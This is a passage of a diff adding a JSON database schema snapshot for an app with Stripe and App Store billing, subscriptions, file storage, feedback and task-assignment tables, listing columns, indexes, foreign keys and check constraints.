+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "stripe_events_processed_at_idx": {
+ "name": "stripe_events_processed_at_idx",
+ "columns": [
+ {
+ "expression": "processedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.subscriptions": {
+ "name": "subscriptions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripePriceId": {
+ "name": "stripePriceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "currentPeriodStart": {
+ "name": "currentPeriodStart",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "currentPeriodEnd": {
+ "name": "currentPeriodEnd",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "cancelAtPeriodEnd": {
+ "name": "cancelAtPeriodEnd",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "gifted": {
+ "name": "gifted",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "stripeScheduleId": {
+ "name": "stripeScheduleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scheduledPriceId": {
+ "name": "scheduledPriceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "scheduledChangeDate": {
+ "name": "scheduledChangeDate",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeStorageItemId": {
+ "name": "stripeStorageItemId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageBlocks": {
+ "name": "storageBlocks",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "storageGraceBlocks": {
+ "name": "storageGraceBlocks",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "storageGraceUntil": {
+ "name": "storageGraceUntil",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageRevision": {
+ "name": "storageRevision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "subscriptions_user_id_idx": {
+ "name": "subscriptions_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "subscriptions_stripe_subscription_id_idx": {
+ "name": "subscriptions_stripe_subscription_id_idx",
+ "columns": [
+ {
+ "expression": "stripeSubscriptionId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "subscriptions_stripe_schedule_id_idx": {
+ "name": "subscriptions_stripe_schedule_id_idx",
+ "columns": [
+ {
+ "expression": "stripeScheduleId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "subscriptions_userId_users_id_fk": {
+ "name": "subscriptions_userId_users_id_fk",
+ "tableFrom": "subscriptions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "subscriptions_stripeSubscriptionId_unique": {
+ "name": "subscriptions_stripeSubscriptionId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeSubscriptionId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.app_store_accounts": {
+ "name": "app_store_accounts",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "accountToken": {
+ "name": "accountToken",
+ "type": "uuid",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "app_store_accounts_userId_users_id_fk": {
+ "name": "app_store_accounts_userId_users_id_fk",
+ "tableFrom": "app_store_accounts",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "app_store_accounts_accountToken_unique": {
+ "name": "app_store_accounts_accountToken_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "accountToken"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.app_store_notifications": {
+ "name": "app_store_notifications",
+ "schema": "",
+ "columns": {
+ "notificationUUID": {
+ "name": "notificationUUID",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "subtype": {
+ "name": "subtype",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "processedAt": {
+ "name": "processedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "app_store_notifications_processed_at_idx": {
+ "name": "app_store_notifications_processed_at_idx",
+ "columns": [
+ {
+ "expression": "processedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.app_store_subscriptions": {
+ "name": "app_store_subscriptions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "originalTransactionId": {
+ "name": "originalTransactionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "latestTransactionId": {
+ "name": "latestTransactionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "productId": {
+ "name": "productId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environment": {
+ "name": "environment",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "currentPeriodStart": {
+ "name": "currentPeriodStart",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "autoRenew": {
+ "name": "autoRenew",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "autoRenewSignedAt": {
+ "name": "autoRenewSignedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastSignedAt": {
+ "name": "lastSignedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "app_store_subscriptions_user_idx": {
+ "name": "app_store_subscriptions_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "app_store_subscriptions_userId_users_id_fk": {
+ "name": "app_store_subscriptions_userId_users_id_fk",
+ "tableFrom": "app_store_subscriptions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "app_store_subscriptions_originalTransactionId_unique": {
+ "name": "app_store_subscriptions_originalTransactionId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "originalTransactionId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "app_store_subscriptions_status_valid": {
+ "name": "app_store_subscriptions_status_valid",
+ "value": "\"app_store_subscriptions\".\"status\" IN ('active', 'billing_retry', 'grace_period', 'expired', 'revoked')"
+ },
+ "app_store_subscriptions_environment_valid": {
+ "name": "app_store_subscriptions_environment_valid",
+ "value": "\"app_store_subscriptions\".\"environment\" IN ('Production', 'Sandbox')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.app_store_transactions": {
+ "name": "app_store_transactions",
+ "schema": "",
+ "columns": {
+ "transactionId": {
+ "name": "transactionId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "originalTransactionId": {
+ "name": "originalTransactionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "productId": {
+ "name": "productId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "productKind": {
+ "name": "productKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environment": {
+ "name": "environment",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "purchaseDate": {
+ "name": "purchaseDate",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresDate": {
+ "name": "expiresDate",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "priceMilliunits": {
+ "name": "priceMilliunits",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "currency": {
+ "name": "currency",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storefront": {
+ "name": "storefront",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastSignedAt": {
+ "name": "lastSignedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "fundedAt": {
+ "name": "fundedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "app_store_transactions_user_idx": {
+ "name": "app_store_transactions_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "app_store_transactions_original_idx": {
+ "name": "app_store_transactions_original_idx",
+ "columns": [
+ {
+ "expression": "originalTransactionId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "app_store_transactions_userId_users_id_fk": {
+ "name": "app_store_transactions_userId_users_id_fk",
+ "tableFrom": "app_store_transactions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "app_store_transactions_kind_valid": {
+ "name": "app_store_transactions_kind_valid",
+ "value": "\"app_store_transactions\".\"productKind\" IN ('subscription', 'consumable')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.contact_submissions": {
+ "name": "contact_submissions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "subject": {
+ "name": "subject",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "resolvedAt": {
+ "name": "resolvedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "contact_submissions_email_idx": {
+ "name": "contact_submissions_email_idx",
+ "columns": [
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "contact_submissions_created_at_idx": {
+ "name": "contact_submissions_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.feedback_submissions": {
+ "name": "feedback_submissions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "attachments": {
+ "name": "attachments",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "page_url": {
+ "name": "page_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "screen_size": {
+ "name": "screen_size",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "viewport_size": {
+ "name": "viewport_size",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "app_version": {
+ "name": "app_version",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "console_errors": {
+ "name": "console_errors",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'new'"
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "feedback_submissions_user_id_idx": {
+ "name": "feedback_submissions_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "feedback_submissions_status_idx": {
+ "name": "feedback_submissions_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "feedback_submissions_created_at_idx": {
+ "name": "feedback_submissions_created_at_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "feedback_submissions_user_id_users_id_fk": {
+ "name": "feedback_submissions_user_id_users_id_fk",
+ "tableFrom": "feedback_submissions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.file_conversations": {
+ "name": "file_conversations",
+ "schema": "",
+ "columns": {
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "linkedBy": {
+ "name": "linkedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "linkedAt": {
+ "name": "linkedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "linkSource": {
+ "name": "linkSource",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "file_conversations_file_id_idx": {
+ "name": "file_conversations_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "file_conversations_conversation_id_idx": {
+ "name": "file_conversations_conversation_id_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "file_conversations_fileId_files_id_fk": {
+ "name": "file_conversations_fileId_files_id_fk",
+ "tableFrom": "file_conversations",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "file_conversations_conversationId_dm_conversations_id_fk": {
+ "name": "file_conversations_conversationId_dm_conversations_id_fk",
+ "tableFrom": "file_conversations",
+ "tableTo": "dm_conversations",
+ "columnsFrom": [
+ "conversationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "file_conversations_linkedBy_users_id_fk": {
+ "name": "file_conversations_linkedBy_users_id_fk",
+ "tableFrom": "file_conversations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "linkedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "file_conversations_fileId_conversationId_pk": {
+ "name": "file_conversations_fileId_conversationId_pk",
+ "columns": [
+ "fileId",
+ "conversationId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.file_pages": {
+ "name": "file_pages",
+ "schema": "",
+ "columns": {
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "linkedBy": {
+ "name": "linkedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "linkedAt": {
+ "name": "linkedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "linkSource": {
+ "name": "linkSource",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "file_pages_file_id_idx": {
+ "name": "file_pages_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "file_pages_page_id_idx": {
+ "name": "file_pages_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "file_pages_fileId_files_id_fk": {
+ "name": "file_pages_fileId_files_id_fk",
+ "tableFrom": "file_pages",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "file_pages_pageId_pages_id_fk": {
+ "name": "file_pages_pageId_pages_id_fk",
+ "tableFrom": "file_pages",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "file_pages_linkedBy_users_id_fk": {
+ "name": "file_pages_linkedBy_users_id_fk",
+ "tableFrom": "file_pages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "linkedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "file_pages_fileId_pageId_pk": {
+ "name": "file_pages_fileId_pageId_pk",
+ "columns": [
+ "fileId",
+ "pageId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.files": {
+ "name": "files",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sizeBytes": {
+ "name": "sizeBytes",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "mimeType": {
+ "name": "mimeType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storagePath": {
+ "name": "storagePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "checksumVersion": {
+ "name": "checksumVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastAccessedAt": {
+ "name": "lastAccessedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "files_drive_id_idx": {
+ "name": "files_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "files_driveId_drives_id_fk": {
+ "name": "files_driveId_drives_id_fk",
+ "tableFrom": "files",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "files_createdBy_users_id_fk": {
+ "name": "files_createdBy_users_id_fk",
+ "tableFrom": "files",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pending_uploads": {
+ "name": "pending_uploads",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileSize": {
+ "name": "fileSize",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "pending_uploads_user_expires_idx": {
+ "name": "pending_uploads_user_expires_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_uploads_expires_idx": {
+ "name": "pending_uploads_expires_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pending_uploads_userId_users_id_fk": {
+ "name": "pending_uploads_userId_users_id_fk",
+ "tableFrom": "pending_uploads",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.task_assignees": {
+ "name": "task_assignees",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "taskId": {
+ "name": "taskId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "task_assignees_task_id_idx": {
+ "name": "task_assignees_task_id_idx",
+ "columns": [
+ {
+ "expression": "taskId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_assignees_user_id_idx": {
+ "name": "task_assignees_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_assignees_agent_page_id_idx": {
+ "name": "task_assignees_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "agentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "task_assignees_taskId_task_items_id_fk": {
+ "name": "task_assignees_taskId_task_items_id_fk",
+ "tableFrom": "task_assignees",
+ "tableTo": "task_items",
+ "columnsFrom": [
+ "taskId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "task_assignees_userId_users_id_fk": {
+ "name": "task_assignees_userId_users_id_fk",
+ "tableFrom": "task_assignees",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "task_assignees_agentPageId_pages_id_fk": {
